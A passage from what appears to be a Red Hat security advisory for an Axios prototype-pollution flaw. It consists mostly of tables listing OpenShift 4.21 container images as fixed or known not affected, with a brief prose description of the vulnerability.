| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
7.0 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — |
Workaround
|
|
